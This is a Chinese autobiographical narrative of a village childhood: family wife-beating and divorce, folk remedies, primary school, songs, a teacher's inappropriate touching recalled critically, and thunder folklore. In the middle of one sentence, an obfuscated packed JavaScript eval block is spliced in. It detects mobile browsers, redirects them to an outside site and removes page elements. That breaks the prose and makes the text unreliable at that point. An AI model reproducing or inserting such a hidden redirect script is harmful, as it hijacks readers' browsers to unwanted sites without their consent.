家山大爷弟兄五个。算命先生给他们家看过风水,说他家的风水是“五子登科”。老弟兄几个看不惯大哥老是打媳妇,他们几个就约到一起,抓住大哥,把他痛打一顿,也把他打地满口喷血,卧床不起。 大哥大嫂子两口子一块儿卧床不起。我爸爸妈妈夜里偷偷去看望他们。大哥空荡荡的堂屋里摆着两张铁架子床,一张床上躺着大哥,另一张床上躺着大嫂子。大哥的床靠里,大嫂子的床靠外。大嫂子见了我爸爸妈妈,仍是静静地躺着,一句话不说。她跟个病人一样,她那时大概是死心了。大哥发出微弱的声音,很标准地叫了我爸爸一声“叔!”我们那边跟“叔”,不叫“叔”,叫“浮”。我爸爸妈妈坐在大哥大嫂子的床边,看看他们,安慰安慰大嫂子,劝说劝说大哥。 “大华,你以后可别打她大嫂子了。你打恁家的,恁几个叔叔大爷就打你。恁两口子可怜吧你说,我看了都心疼。”我妈妈说。 “知道了,大婶子。”大华哥气息微弱地说。 “俺跟恁大叔白天不敢来。恁叔叔大爷打了你,俺再来看,人家不骂俺是充好人儿的嘛。”我妈妈说,“你喝茶吧?恁大嫂子?恁大哥?我倒点茶给恁喝?恁家有茶吗?我去给恁烧去。恁吃饭了吗?恁好歹吃口饭哈。恁两口子都不吃饭,恁要是有个好歹,小孩儿怎么办的?小孩儿长得恁么好,可怜吧。” “我不喝水,婶子!”大华哥说。 “恁得想开点儿。哪能不吃不喝啊。咱不该打媳妇,打媳妇确实是犯了错儿了,以后得改正。她大嫂子好吧?南北荆堂数一数二的。我就爱中了她大嫂子了。我一听说她大嫂子挨打,我可心疼地慌了。恁大叔年轻的时候也打过我。我还挨过恁大爷爷的镢头,恁三叔福伦也打过我。俺跟她大嫂子都是一样的。都是性格刚强。女人再刚强到底是不行。没有男的劲儿大。搁不住人家男的的打。下辈子可别托生女的。”我妈妈说。 天快黑了,我困了。爸妈让我先回家。 “你先回去吧,大省。俺跟恁爸爸一块儿再搁这里看看恁大哥、大嫂子。”我妈妈跟我说。 我回到家,栓上门,在昏暗的灯光下,看着一闪一闪的灯光,等着妈妈回家。 静默的夜里,只有夜的声音和气息,还有我的等待和恐惧。 我一个人等了很长时间,我爸爸妈妈才回家。 我说:“妈妈,俺大哥大嫂子打架,俺家山二大爷,跟俺二大娘怎么不管的?怎么就你跟俺爸爸去的?” 我妈妈说:“恁二大爷跟恁二大娘啊?可别提了。他两口子自己就天天打架。怎么去管小辈儿啊。恁二大爷跟恁二大娘夜里睡着觉,就打起来了。两口子从屋里打到天井里。小叔子老大伯,嫂子兄弟媳妇儿,听到他们打架,都来拉架。他家大门在里头栓着。人家爬到墙头上一看,两个人正光着腚,在当天井里打架呢。男的想去拉架吧,恁二大娘光着腚。女的想去拉架吧,恁二大爷光着腚。人家拉架都没办法拉。” 我对我爸爸妈妈那么晚回来很是不满。我妈妈可顾不上我。 她忙着跟我爸爸说:“鸿雁夜里怎么老是哭的?可别是吓着了吧。我烧个邮票兑点水儿给他喝喝。” 我妈妈找来了一张邮票,就在屋里烧了,兑了一碗温水,喂我弟弟喝了,再去给我弟弟叫魂儿。我也赶紧凑过去,跟她一起给我弟弟叫魂儿。 我爸爸抱着我弟弟,我妈妈蹲在地上,她两手捧在一起,像是往我弟弟身上一把一把泼水似的喊道:“鸿雁啊,回来喽!鸿雁啊,回来喽!吓大不吓小,提提耳朵就好!回来了吗?” 我爸爸说:“回来了!” 我坐在一旁的小板凳上也配合我妈妈说:“回来啦!” 晚上,洋油灯点上了。我们聚在一起坐在床沿儿上。爸爸拿来捡来的花生,我们一起剥花生吃,花生壳子扔在床底下,落了一地。 妹妹还不会说话,在妈妈怀里抱着。我们一起围着妹妹,观赏她的小脚丫。 灯光下,妹妹的小脚丫像两个饱满的小饺子,白白的嫩嫩的,皮肉里面泛着油花儿,跟我的手掌心一样。我很是骄傲,我的手掌心儿里也泛着油花。我那时候怎么就没有想过,那时候,我们家一年到头吃不上几次猪肉,我们怎么还能长得那么白胖?我的手掌心儿里怎么还有那么多的油花花呢? 我妈妈因为生产常常腰疼。她躺在床头上,让爸爸找来膏药,那是一块圆圆的泛着好闻的药味的大膏药饼子。妈妈拿着膏药,在洋油灯灯头儿火儿上燎,燎热了敷在腰上。 我跟妈妈、妹妹一起睡在东屋里间,爸爸搂着弟弟睡在西屋里间。 夜里,我突然听到弟弟的哭声。 “鸿雁怎么回事儿啊,家军?他怎么哭了的?”我妈妈在东屋里间问。 “我抱着鸿雁尿尿的,一下没抱住,鸿雁掉到屋当门来了,把头磕破了。”我爸爸苦笑着说。 “鸿雁磕破头了?我赶紧起来给他包去。” 我妈妈说着起来,找块白洋布,把弟弟的头给包上。 “我刚才做梦了,我梦到一朵小红花儿。醒来就听到鸿雁哭了。这是该到有这一灾啊。咱这是交上红花运了。咱发财发财又发财。”我妈妈说。 爸爸妈妈很疼我们。冬天天冷,早上,爸妈起来做饭,堂屋里点起火盆熏起木柴。我醒了并不起床,等爸爸妈妈把我的棉裤拿到火盆上熏暖和,我穿上热乎乎的棉裤才起床。我小时候光腚穿买棉裤,不穿内裤,也没有内裤。因为没有内裤,因为不换洗,所以棉裤里头□□的内壁那里,抹的黄黄的亮亮的臭臭的,跟“打明儿铁一样儿”。 后来,大华大哥跟大嫂子离婚了,大嫂子经不住大哥的打,离婚是早晚的事儿。只是可怜了磊磊。磊磊判给了大哥。那时候,离婚是件新鲜事儿,那阵子,常听大人议论大嫂子的事儿。 “你说,她离了以后,还得再找吧?” “她恁么年轻,人才又好。怎么能不找的。听说人家早已又找了。” “啊?那她后来过得好吧?” “听说过得怪好。她又找的那个男人对她也好。头回,宋家门儿里有人在集上看到她了。人家两个人一块儿赶集的。人家通情达理的,见了荆堂的人,还是板板正正地说话儿。可好了。” “她现在过好了,就是不知道她还想小孩儿吧。” “怎么不想的。她又不憨不愣的。听说,她在大街上看到人家的小孩儿,回家就蒙着被哭。” “你说说,要是不离多好啊?” 3.上学、《国歌》、《小五更》 我上小学一年级的那个夏天,我爸爸给我买了一件粉色的连衣裙。那裙子本也平平淡淡,我最喜欢的地方,是从左肩到右肩,有一条白色的花边,上头,白色的亮片连成一条线。看上去银光闪闪。那时候的夏天,有一条连衣裙就够了。 我快上学了,爸爸提前教我写自己的名字,可是我以前从来没有拿过笔,怎么可能一下就能学会呢。他教了我好几次,我怎么都记不住,写不好。 我爸爸教我的时候,我妈妈就在一旁,她光着膀子,两个□□上抹着紫药水,她是要给我妹妹断奶呢。她给我弟弟断奶的时候,还是在南乡,那时候,她的□□上也是抹了紫药水。 我妈妈的胸脯上有几颗红痦子。我指着我妈妈胸脯上的那些红痦子说:“妈妈!你这些痦子怎么是红的啊?跟血一样。” 我妈妈说:“这是朱砂痣!有朱砂痣的人有福!我老了有后福!恁姊妹三个小时候,我找人给恁算命。人家算命先生说的,恁姊妹三个,我就沾大丫头的光。大丫头长大了,要是个男孩儿的话就是个官。要是个女孩儿的话,就是个官娘子。” 我爸爸不吭声儿,他板着脸让我试着写自己的名儿。 “看着,照着写!”他板着脸说。 我妈妈看着我爸爸教我,她也跟着支招:“家军,你教她,横平竖直。不要倒插笔画。” 我爸爸板着脸说:“没有用。她就是记不住。” 我写了好几遍,就是写不好,我也不想学了。 我妈妈说:“那要是实在不会写,就别硬教了。让她用拼音代吧。实在不会,你能怎么办?我也没空儿教她,我得去喂笑笑了。”我妈妈说完,就去拿了个煎饼卷儿,在案板上用刀切了,在碗里泡泡,拌上香油,去喂我妹妹了。 屋门外头,我家的母鸡又蹲在鸡蛋上抱窝了。我妈妈说:“不能让它抱窝,它一抱窝就不下蛋了。我得给它把鸡蛋拿出来!搁进去一个塑料蛋。这样它就抱不出来了。” 我家的鸡窝很高,搭在屋门外靠东边的石台子上,像是一个空中楼阁。那些母鸡为了下蛋,要先展翅飞上那高高的鸡窝,再蹲在鸡窝里休养生息,像是闭关修炼的得道高人。我家的老母鸡轻功了得,下蛋也还很踏实。等它下完了蛋,再“咯嗒咯嗒”地连叫几声,然后“扑棱棱”,飞身跃下那高台。它飞下高台的样子那么轻松,像是经过一番闭关修炼,它的武功又进益了几成。 一天下午,我爸爸回家了。他跟我妈妈说:“让大省过来,我教她唱唱儿。” 我妈妈说:“去吧,恁爸爸教你唱唱儿了。”我就搬个板凳,坐在我家天井里,等着我爸爸教我唱唱儿。 “我教你唱《国歌》。”我爸爸面无表情地说。 我那时候根本不知道什么是《国歌》,大概是跟国家有关吧。《国歌》,我一听这两个字就觉得严肃,哪有妈妈教我的《小五更》好听啊。我那时候还不知道升国旗是要唱《国歌》的,更不知道,每个小学生都应该会唱《国歌》。我其实心里不是很想学,我那时候很是不明白:爸爸为什么不教我唱别的什么歌呢,为什么非要教我唱《国歌》呢?我妈妈教我的那些“春季到来绿满窗”、“大辫子甩三甩”多好听啊?我又想,或许就是因为我爸爸这么刻板,所以他才会唱这样的歌吧。 爸爸板着脸教我唱歌,我只好一句一句跟着学: “起来,不愿做奴隶的人们。” “起来,不愿做奴隶的人们。” “把我们的血肉,筑成我们新的长城。” “把我们的血肉,筑成我们新的长城。” “中华民族,到了,最危险的时候。” “中华民族,到了,最危险的时候。” 我到现在还记得我爸爸教我唱《国歌》的样子,他唱到“到了”的时候,就会顿一顿,把“了”唱成“liǎo”,我那时候还不知道,“了”就应该唱成“liǎo”,还以为“liǎo”这个读音,是我爸爸改不了的土话口音。 等我爸爸不在家的时候,我跟我妈妈说:“妈妈,俺爸爸教我唱的唱儿一点都不好听。还是你教我的唱儿好听。” 我妈妈跟我说:“我再教你一个唱儿,叫《小小竹排江中游》,是电影里头的唱儿,电影里头有潘东子,潘东子是个小红军,跟地主作斗争,可厉害了。” 接着,她就教我唱:“小小竹排江中游——” 我就跟着我妈妈唱:“小小竹排江中游——” 我上学的书包,是我妈妈用很多片五颜六色的碎布给我缝的,真是一个“花书包”。那是两个提手的手提包,我每天把它挎在左肩膀上去上学。那时候,大多数人的书包都是两个提手的,很少有人有背包。我很想有个背包,上学的路上,我常常把我的书包的两个提手儿翻过来,捆绑着我的书包,把它像背包那样,背在后背上。 我小时候,因为怕生虱子,我妈妈干脆让我爷爷给我给我剃了光头。我剃着光头,觉得难为情,我妈妈老是说光头好,又省事又干净。她自己倒是扎着两个辫子,辫子在后脑勺编起来再折上去,额前留着不厚不稀的刘海。我觉得我妈妈的发型很好看。她跟我爸爸在一起的时候都很好看,又年轻又好看。 我刚入班的时候,稀里糊涂地跟着大家一起出来排队,等老师给我们安排座位儿。男生排一队,女生排一队。我站在女生队里,前头一个人觉得我是男生,让我出去。 “你出去!你个光头蛋子!不要跟俺站一队!俺是女的!你是男的!”她回过头冲着我说。 我看了看她,她剪了短发,穿着男孩子穿的红背心,裤头子,脸蛋子晒地黑黑的,眼珠子黑黑亮亮地看着我,跟个贼似的。 “你出去!我是女的!你是男的!”我跟她说。 “宋大省是女的。”我身后的艳飞大姐说。 “张益华也是女的。”队伍里的张娟娟说。 “我还以为你是男的来!对不起哈!”张益华像个很有担当的男人似的看着我说。 “我当你也是男的来!”我说。 “你的名儿怎么跟男的一样?”她问我。 “俺妈妈给我起的。”我说,“你的名儿怎么也跟男的一样?” “俺妈妈来报名的时候,给我起的是张离华,俺妈妈想让我长大后出国留洋。牛老师觉得这个想法不好,还是益华好。牛老师就把我的名儿给改成了张益华。” 我上学的地方在张庄,学校的名字叫“张庄完小”。张庄在荆堂东边儿,距离荆堂大概有四五里地。我们那时候上学从小学一年级开始都是自己去,没有父母接送这回事。每天一大早,天还黑咕隆咚的,上学的小孩儿就开始挨家挨户喊着自己相熟的小伙伴去上学了。一路向东,走过爷爷家东的一段小路,下了坡,路过两边的菜地,来到板栗行。过了遮天蔽日的板栗行,再走一段路,前面是一个小坡,从小坡上下去,眼前是几个麦瓤垛。麦瓤垛前头的路,地势低洼,一到夏天就成了小河,上学的孩子们要一个个脱了鞋,趟过河,才能去上学。向东走,再上一道坡,来到高岗上,就可以看到我们的小学校了。小路两旁,是碧绿的麦田,麦地里的坟墓上,长满了丛生的野草。 我刚入学的时候,数学还可以,可是语文的二十四个声母,我是真的不会写。班主任牛老师让张大龙挨个儿教我们写。张大龙穿着一个紫色的小背心,白白的脸蛋上长了几个红色的小疙瘩。我不是很喜欢他。可是我实在不会写哇。我也把张大龙喊过来教我。他教了我一遍,让我自己写,他又过去教别人写。可是我还是不会写,我又把他喊过来教我。 我放学回家,坐在我家天井里,把书本放在我家的大板凳上开始写作业,我妈妈就坐在旁边坐针线活儿。我自己实在不会写,就让我妈妈教我写。 “妈!你教教我,我不会写!”我跟我妈妈说。 “来!妈教教你!来!是这样写的。”我妈妈拿过铅笔说。她帮我写了几个字母,就放下铅笔说:“行了,你自己写吧,你照着书上的写。” 我写了一会儿,又遇到不会写的了。我苦恼地看了看我妈妈。 “妈,g我不会写。你给我写吧。”我为难地说。 “是这样写的。”我妈妈又过来拿过我的铅笔说。她一手拿着她手里的针线,一手帮我写了一个g。 “剩下的你自己写吧哈。妈不教你了。”我妈妈说。 “妈,m我不会写!”我焦急地跟我妈妈说。 “你自己看着写是的,妈不教你了!”我妈妈低头缝着她的针线说。 “你不给我写,我不知道怎么写。我就是不会写!”我说。 “我给你写了什么用。是你的学,又不是我的学。”我妈妈说。她再也不给我写了。 我看看我妈妈,她真的不再给我写了。没办法,我只好把作业本那一页蒙在课本上来描着写。 牛老师那时候有五十来岁吧,他高兴了就唱歌给我们听,我们都坐在座位上,看着牛老师摇头晃脑地唱:“洪湖水啊,浪呀嘛浪打浪啊——” “恁谁会唱歌啊?上来唱一个。”牛老师问。 “宋大省会唱歌!”艳飞大姐说。 “宋大省上来!上来唱个歌儿!”牛老师说。 我到了讲台上,牛老师问我说:“宋大省,你唱什么歌啊?” 我说:“我会‘一更小里儿’。” “那你唱吧。 ”牛老师说。 “一更小里来并上银灯,梁山伯在座上,念上《诗经》。泪水掉在书页上,想起了兄弟祝九红。在高山以上把书读,同学们一起拜弟兄。念完了《诗经》进边界,同床的夫妻不得相逢,同床的夫妻不得相逢。 “二更小里来……” 牛老师听了,很是惊讶。 他问我:“宋大省,这些唱儿都是谁教你的?” 我说:“都是俺妈妈教我的。” 牛老师说:“恁妈妈有才分。宋大省唱歌唱地好,以后就让宋大省做文娱委员吧。” 同学们都很佩服我。 “宋大省会唱‘一更小里儿’!” “宋大省当了文娱委员了!文娱委员的官儿比班长的官儿大!” 牛老师又问:“还有谁会唱歌啊?” “张益华也会唱歌!” 牛老师就朝讲台下的张益华说:“张益华,你也来唱个。” 张益华从座位里走了出来。她说:“我不会唱。” 牛老师说:“你会唱!你唱!” 张益华的眼泪从眼眶里滚了出来,她挂着两行眼泪开始唱: “谁说也不信他,谁说也不信他,只要我今生认定了他,走遍天涯去寻他。风狂也不管它,雨骤也不管它啊。心中真情不凋零,生死离别相牵挂。谁拦也不管他啊,谁挡也不管他啊。流水绝无回头悔,生死相依跟着他,跟着他,跟着他。” 我看着张益华挂着眼泪唱歌,心里有些同情,有些不解,又有些理解。她为什么不想唱歌呢?她为什么不能不唱歌呢?张益华是黑黑的,长得像个男孩子,牛老师应该并不喜欢她,只是听说她会唱歌,就即兴让她唱罢了。我那时候觉得张益华的妈妈非同一般,她把她的女儿打扮得像个男孩子,给她起的名字也像个男孩子。我觉得这个女人有不同常人的想法。然而时至今日,我再一次觉得她的妈妈是多么英明伟大。她把她的女儿打扮得像个男孩子,在她还不会保护自己的时候,她成功地避开了很多咸猪手。 学校里放电影了,场地就在张庄的大街上,我们搬着板凳坐成一排排的,面朝东方看着。电影放的是《闪闪红星》。潘东子在江上坐着竹排,歌声嘹亮地响起来:“小小竹排江中游——” 我情不自禁地跟着大声地唱了起来:“巍巍青山两岸走,雄鹰展翅飞,哪怕风雨骤。革命重担挑肩上,党的教导记心头!党的教导记心头,党的教导记心头!”我看看周围的人,没有人跟我一起唱,只有我一个人在唱。他们安安静静地坐着,也不吭声儿,继续看他们的电影。我也不再吭声儿,继续盯着荧幕看我的电影。 那时候班主任牛老师很喜欢我,天天表扬我,说我是天才。有时候,牛老师捧着我的脑袋,亲亲我的脸蛋儿说:“天才!天才!”我那时候就直直地站在那里,只知道老师在夸奖自己。隐隐约约觉得,一个男老师这样对一个女学生,不好。 我跟艳飞大姐坐在一桌。艳飞大姐的爸爸排行老三,牛老师是艳飞大姐四婶子娘家的四叔,说起来,艳飞大姐跟牛老师还是亲戚,我也应该跟着艳飞大姐叫他四老爷。可是因为艳飞大姐学习有些笨,牛老师并不怎么搭理她。 我跟艳飞大姐一起坐着。 牛老师过来问我:“宋大省,宋兰芝是恁大姐啊?” 我说:“嗯。” 牛老师问我:“你今年几岁啊?” “九岁。”我说。 “恁大姐几岁啊?”牛老师说。 “十岁。”我说。 牛老师说:“恁大姐今年比你大一岁。十年后,恁大姐比你大几岁啊?” 我说:“大十一岁。” 牛老师哈哈大笑说:“恁大姐长,你不长了啊?” 牛老师教给我们一个对联。 他在黑板上写下两行字:长长长长长长长,长长长长长长长。 牛老师问我们:“这个是一个秀才,写给卖豆芽子的。你们看,怎么读?” 我们看了看,都不知道应该怎么读。 牛老师念给我们听:“长(zhǎng)长(cháng)长(zhǎng)长(cháng),长(zhǎng)长(zhǎng)长(cháng);长(cháng)长(zhǎng)长(cháng)长(zhǎng),长(cháng)长(cháng)长(zhǎng)。” 牛老师又问我们:“一斤棉花沉?还是一斤铁沉啊!” 我们一个个托着腮帮子,苦思冥想。我也皱着眉头认认真真地想。 我想了又想,坚定地说:“一斤铁沉!” 牛老师笑着说:“一斤铁沉啊?” 有的同学说:“一斤棉花沉!” 牛老师又笑着说:“一斤棉花沉啊?” 忽听到有的同学说:“一样沉!” 牛老师说:“对!” 我突然就不明白了,怎么会一样沉呢? 牛老师笑着说:“一斤铁,和一斤棉花!一样重,一样沉啊!” 牛老师是个性情中人,他有一回跟我们说:“恁上学的时候,起得早,可别把衣裳穿错了。我有一回到了学校,才看到我穿了俺家属的裤子。我赶紧跑到办公室去换裤子。恁三年级那个安老师看到了,我跟她说,天黑,我穿错裤子了,你不要跟别人说。哪知道等别的老师来了以后,安老师故意大声跟办公室的人说,牛老师穿错裤子了,牛老师把他老婆的裤子给穿来了!办公室里的人哈哈大笑。”牛老师说着也得意地笑,我们也觉得很好笑。 4.宋大秀、小灰、张庄落水 每天早上,到了学校,开始读书,下了早读课,就回家吃饭,吃完饭再去上学。到了中午,回家吃午饭,吃完午饭,再回学校上下午的课,直到晚上放学。 我们是雷打不动地回家吃早饭。但是晌午这一顿,有的人嫌路远,就自己带饭。我带的饭就是一个煎饼。我一般都是从我奶奶家带饭。我奶奶早上炒个红萝卜条子、大白菜什么的,我就用煎饼卷上一点。往咯吱窝里一夹就带走了。要是家里没有炒菜,那就卷上一条咸菜缨子,或是几筷子脆疙瘩丝子。如果还是嘴馋,觉得没有营养,又得到了我爷爷的允许,那就到荤油罐子那里,摸着挖油的勺子,在油罐子里挖上一勺子荤油,抹在煎饼里。一抹浓稠的荤油,白白的,跟蜂蜜似的,再配上老咸菜,味道真是好极了。但是这样的情况是不多的。因为那罐子荤油是留着炒菜吃的。我每天这样抹上一勺,我爷爷哪里能够允许呢。 “不能带荤油了!这样吃哪行!”我爷爷愤然说道。我听了我爷爷的话,下次再也不敢往煎饼里抹荤油了。 那时候,能带个煎饼在学校里吃午饭,中午不用回家,对我来说,就是很满足的事情了。我把带来的煎饼放在桌洞里。到了吃午饭的时间,老师走了,该回家的同学也都走光了。就剩下我们几个中午不回家的。大家把自己带的煎饼从桌洞里拿出来,开始抱着煎饼吃午饭。边吃边玩。 我们在学校的午饭时光本来是很平静的。后来,因为一个人的到来,变得动荡不安,惊心动魄起来。 来的这个人叫宋大秀,家住荆堂东边儿的牧羊沟。按照辈分,我还应该跟她叫姑奶奶。宋大秀之前不在我们班,一直在她姥姥家上学。因为她是她家第二个姑娘,她的父母为了追生儿子,把她送到姥姥家。等她弟弟都七八岁了,才把她接回来上学。 她成绩不错,生性又比较泼辣,胆子也大,班主任牛老师就让她当了班长。她个头偏瘦小,管起人来像模像样,说吼就吼,说叫就叫,再加上她是由班主任牛老师亲自任命的,我们对她更加忌惮了。 宋大秀平时还好,就是到了中午,我们都把自己的煎饼拿出来吃午饭的时候,她跟她弟弟就开始来抢我们手里的煎饼了。哪怕你已经啃了半截了,她们说抢就抢。她和她弟弟中午都不带饭,就靠抢别人的煎饼吃。所以她们追得格外起劲。 她们两个双手扶着课桌,两腿一抬,一跃而起,在教室里窜过来窜过去,像是训练有素的飞贼,很多人的煎饼都被她们抢过。因为她们是姊妹俩,还可以互相配合。宋大秀在后头追,她弟弟就在前头堵。姐姐追不上,弟弟就拿个长长的板凳横在人家前头。人家被长板凳堵住了,他们两个就一拥而上,把人家的煎饼抢去了。她们抢到了就当做自己的吃,被抢的那个也不生气,也不哭,反而是上气不接下气地一边喘气一边笑。 我也害怕她们抢我的煎饼。我看着她们追来的身影,也绕着教室跑。不知道他们是忌惮我成绩还可以呢,还是看我同样姓宋呢,还是同情我家庭贫困呢,反正,他们对我总是手下留情,从来没有抢过我的煎饼。 宋大秀姐弟俩抢人家煎饼的事,根本没有人告诉老师。因为宋大秀是班长,牛老师也不会凶宋大秀。 班主任牛老师经常在我们写作业的时候,到我们跟前,他有时候会摸摸我的脊梁骨,感慨地说:“你看看,这丫头多瘦啊,肋巴骨一根儿一根儿的。”我们那时候不懂事,还以为他老人家是在关心我们。所以根本不知道羞耻,更不会反抗。我亲眼看见,牛老师也摸过宋大秀的脊梁骨。我想,这是他喜欢的人才有的待遇吧。 有一天,牛老师端着厚厚的一本书走进教室,上课以后,他就给我们读《白蛇传》。 牛老师问我们:“你们谁知道《白蛇传》吗?” 他们都摇头。我说:“我知道《白蛇传》,俺妈妈给我讲过,白素贞。” “还是宋大省聪明!”牛老师夸赞我说,“我给恁读读这本儿《白蛇传》。” 牛老师捧着《白蛇传》读给我们听。 “传说南宋绍兴年间,有一千年修炼的蛇妖,化作美丽女子叫白素贞。” 估计牛老师自己也看得入了迷。他两眼埋在书页里,埋着头,给我们读着,我们也听地入了迷。 下课了,我们围着牛老师的讲台跑来跑去。牛老师的厚厚的书,就放在井台的桌子上。我们谁都不敢动那本书,只有宋大秀敢,她捧着牛老师的书,学着他的样子读。 我问她:“宋大秀,这些字,你都认得吧?” 她说:“我哪儿认识恁么多字!” 我说:“牛老师全都认识。你说牛老师厉害吧?” 哪知道宋大秀不耐烦地说:“他厉害个屁!他老摸别人脊梁骨!” 我回家跟我妈妈一说。我妈妈就问我:“牛老师摸过你吗?” 我说:“摸过。他摸了我的脊梁骨。” 我妈妈说:“以后他再摸你的话,你就说痒痒,不要让他摸。母子之间无话不谈。你以后有什么事儿都要跟妈说。”这以后我就记住了。这以后,牛老师再也没有摸过我。 牛老师爱让宋大秀领头带我们读书。 宋大秀一起头领读的时候就爱拉长腔:“读——书——” 牛老师不高兴了:“不要拉长腔!宋大省,你来领读!” 我就接着领读:“读书!写字!” 同学们跟着读:“读书!写字!” 是的,我从小就不会拉长腔儿,我从小就很英武。 打雷了,下雨了,轰隆隆的雷声像是谁开着一辆拖拉机从白山经过。青色的白色的云头,像是一匹匹狮子,昂首挺胸地向前移动着。 我很害怕打雷。我妈妈说,打雷是劈那些妖魔鬼怪的。有的妖魔鬼怪也精。龙来劈它了,它就躲到人家家里去,只要躲过了这个时辰,龙就不再劈它了。 说是有一户人家,下雨的时候,他看到自家窗户上,站着一个毛人子。他吓得不敢吭声儿。只听见外头劈雷和闪的,那个龙在天井里急地团团转。龙要来抓毛人子了。那个毛人子就站在这户人家的窗户上,手里拿着人家女人的月经带儿,龙一来,它就把月经带儿朝着龙一甩。龙怕脏东西,不敢靠近,就抓不到它。等雷过去了,那个毛人子才离开。我妈妈说这话儿的时候,我听得出神,又觉得害怕,不自觉地往我家窗户上看。看看有没有毛人子。心里想着毛人子是什么样子的。 我妈妈说,毛人子躲雷的时候,人看见了,不要吭声儿。有一个员外,打雷下雨的时候,坐在客厅里,跟朋友拉呱。一个响雷“咔嚓”劈下来,一个毛人子扑进来,躲到员外腿边的桌子底下。它是借员外的福气来护佑它呢。员外看见了,也不管它,就当没看见,还是跟平常一样,跟朋友说话。毛人子躲在员外桌子底下,龙进不来,伤不了它,过了时辰,雷声过去了。那毛人子也就离开了,并没有伤人。 妈妈说,雷公会惩罚做坏事的人。有一个小男孩,他很调皮,净干坏事。他爹在地里干活儿,他娘把糊豆放在罐子里,让他提着去给他爹送饭。一路上,他边走,边吹着口哨,用手里的小鞭子抽着路边的荞麦。他一路走,一路抽。半路上,他想放屁了,就打开装着糊豆的小罐子,褪下裤子,朝着罐子里放了一个屁。 等他到了地里,他爹干活又累又饿,就把那罐子糊豆一口气都给喝了。小男孩继续抽着荞麦回家,半路上,霹雷和闪的,把这个小男孩给劈死了。他娘心疼儿子,放声痛哭。 他爹回来掀开他背上的小褂儿一看,跟他娘说:“你不要哭了。老天劈死他是应该的。他净干坏事。你看看他的后脊梁骨上写的什么。”他的娘上前一看,原来那个小男孩脊梁骨上是雷公写下的字:“鞭抽荞麦一百亩,屁打糊豆一罐子。” 那时候,我觉得大人拉的呱儿都是合情合理的。现在想想,这个故事也太狠了点儿。一个孩子朝他爹的糊豆罐子里放了个屁,在很多家庭还是被允许的,顶多拿来教训一下,小孩子嘛,只当是个笑话。哪里就得给劈死呢。所以这很多的故事,都是大人编了来吓唬小孩的。 这个故事,奶奶也知道,奶奶还给我讲过另一个故事。说有一个妇女,不孝敬瞎眼的婆婆,整天虐待婆婆,给婆婆吃沾了鸡屎的馒头。这一天,天上打雷,雷公电母要劈死她。雷声轰鸣,围着她直转。她害怕极了,急中生智,背上婆婆,在院子里念叨:“天上下雨地上满,俺背着婆婆凉凉汗。”雷公电母见她背着年迈的婆婆,投鼠忌器,不好劈死她,她竟然躲过了一劫。这以后,这个儿媳妇痛改前非,开始孝敬公婆。 你看,这个故事,也是婆婆拿来训诫媳妇,为自己服务的。 我听了奶奶的故事,很害怕自己干了什么缺德的事,会受到雷公的惩罚,每次打雷,我都赶紧躲到屋里去。奶奶倒是不害怕,有时候光打雷不下雨,她就搬个板凳在天井里凉快,让我也出来凉快。我还是害怕,就把板凳搬到奶奶身边,紧挨着奶奶坐。这样雷公看在奶奶的份儿上,就不会用雷劈我了。 雨水滑过屋檐上的麦草“哗哗”往下淌,在门槛前激起一道深深的水溜子。水滴石穿。爷爷屋门前的那块石板真的被雨水给滴地坑坑洼洼的了。水溜子上,漂起了一串快乐的小铃铛。那铃铛其实是雨水激起的水泡,可是,它怎么那么漂亮。它全身都是透明的。下头有鼓鼓的底座儿,上头有鼓鼓的盖儿,那盖儿的中间还有一圈腰带。 下雨了,没来得及进窝的芦花鸡,顶着淋湿的羽毛,在天井里走来走去。爷爷披着蓑衣,戴上席甲子,也在天井里走来走去。他先检查一下鸡窝门,再给柴禾垛盖上雨纸,给雨纸四个角儿坠上砖头瓦块。爷爷的蓑衣,是他搜集了蓑衣草自己编的。这种蓑衣草长在河滩水边,开着细密的小花,纤纤独立,亭亭净植,绿油油,光灿灿。爷爷割下来带回家,晒干了,变地红黄了,就开始编蓑衣。先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137780|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拧一道儿粗绳儿当脖子领儿,以此为纲领,拿一根根蓑衣草铺展开去,就成了一领光鲜夺目的蓑衣。披在身上,沉甸甸的,里头光滑温暖,外头锋芒毕露。 家东,我放学回家必经的那条小路上,全庄上的雨水仿佛都汇聚到了这里,形成一条没到膝盖的小河,带着冲刷来的死鸡烂猫和黄泥,“哗啦啦”顺流东下。 家东石薄连上的麦子被堆起来,用塑料纸盖上,因为雨太大,无处躲避,我爸爸也钻进了塑料纸里。 风雨过后,我爸爸从家东麦堆上的塑料纸里钻出来。人家各自从家里走出来,说说这次的雨水情况。 “这场雨下得可不小!” “南大地里的玉蜀黍,被大雨扑倒了。河沿上的一棵柳树,被扭着脖子就给劈了,露出的茬崭新!” “今年雨水充足,老天打了帮架了!” 大雨过后,很多人拿着小铲子出来。他们围着庄,找有树的地方,挖知了鬼。看到一个有细密的新土的若有若无的小洞,斜着一铲子下去,一个大洞就露出来了。用一根手指头往下探探,就碰到躲躲闪闪的知了龟的□□了。拿铲子再往深处一挖,连知了带泥就一起上来了。 我喜欢挖知了龟,不只是雨后,夏天,只要是有蝉的季节,都可以。我常常带着一把小铲子去挖知了龟。我去庄东头的板栗行挖,去板栗行更东面的杨树林挖。寻寻觅觅,一晃就是好些时候。 回家以后,把小知了龟一个个的洗干净放在碗里,倒扣在磨台上。第二天,有的知了龟已经蜕变为新鲜的蝉了,它的身体还很嫩,浑身是黄绿色,软绵绵的,连翅膀也是黄绿色、软绵绵的,它还没来得及展翅飞翔,就被人往热油锅里一倒,不一会儿,一盘子油拉拉、外酥里糯的知了龟就上桌了。 